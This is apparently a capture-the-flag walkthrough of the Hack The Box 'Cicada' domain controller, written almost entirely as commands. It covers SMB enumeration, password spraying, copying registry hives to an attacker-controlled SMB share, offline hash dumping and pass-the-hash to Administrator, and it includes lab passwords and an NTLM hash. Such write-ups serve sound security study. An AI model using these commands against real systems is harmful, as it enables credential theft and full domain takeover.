Reconnaissance
Port Scan
Using nmap to scan the target host, we know that the target host's OS is Windows, and it has Kerberos, DNS, and LDAP services enabled, so we can determine that it is a domain controller.
nmap -vv --reason -Pn -T4 -sV -sC --version-all -A --osscan-guess -oN /home/kali/HTB/Cicada/results/cicada.htb/scans/_quick_tcp_nmap.txt -oX / home/kali/HTB/Cicada/results/cicada.htb/scans/xml/_quick_tcp_nmap.xml cicada.htb
SMB Enumeration
Scan the network disks of the target host via SMBMap.
smbmap -u "guest" -p "" -P 445 -H cicada.htb
Where //cicada.htb/HR contains a text file showing that the default password is Cicada$M6Corpb*@Lp#nZp!8.
Use netexec to list all users as guest.
netexec smb 10.129.23.230 -u guest -p '' --rid-brute > users.txt
Retrieve a list of valid users from it.
cat users.txt | grep SidTypeUser | cut -d \\ -f 2 | cut -d ' ' -f 1 > valid_users.txt
Initial Access
Identify which user is using the default password by using a password spamming attack.
crackmapexec smb cicada.htb --port=445 -u "/home/kali/HTB/Cicada/valid_users.txt" -p "/home/kali/HTB/Cicada/password.txt"
This user has access to //cicada.htb/DEV and logged in to find a script for backup.
The script contains the plaintext password for emily.oscars.
Privilege Escalation
AD Enumeration
The bloodhound enumeration shows that emily.oscars belong to the Backup Operator group and have arbitrary access to the target system's files and registries.
OS Credential Dump : From Backup Operator To Domain Admin
Open an smb server, and use emily.oscar's privilege to backup all SAM Hive of the target system back to smb server.
impacket-smbserver share . -smb2support
impacket-reg 'cicada.htb/emily.oscars':'Q!3@Lp#M6b*7t*Vt'@10.129.23.230 backup -o '\\10.10.16.5\share'
Using secretsdump.py to parse the SAM Hive offline, you can get the NTLM Hash for all users.
impacket-secretsdump LOCAL -system SYSTEM.save -security SECURITY.save -sam SAM.save
Pass-The-Hash
Using psexec.py to carry out Pass-The-Hash login to the Administrator successfully got the flag.
impacket-psexec cicada.htb/administrator@10.129.23.230 -hashes aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341
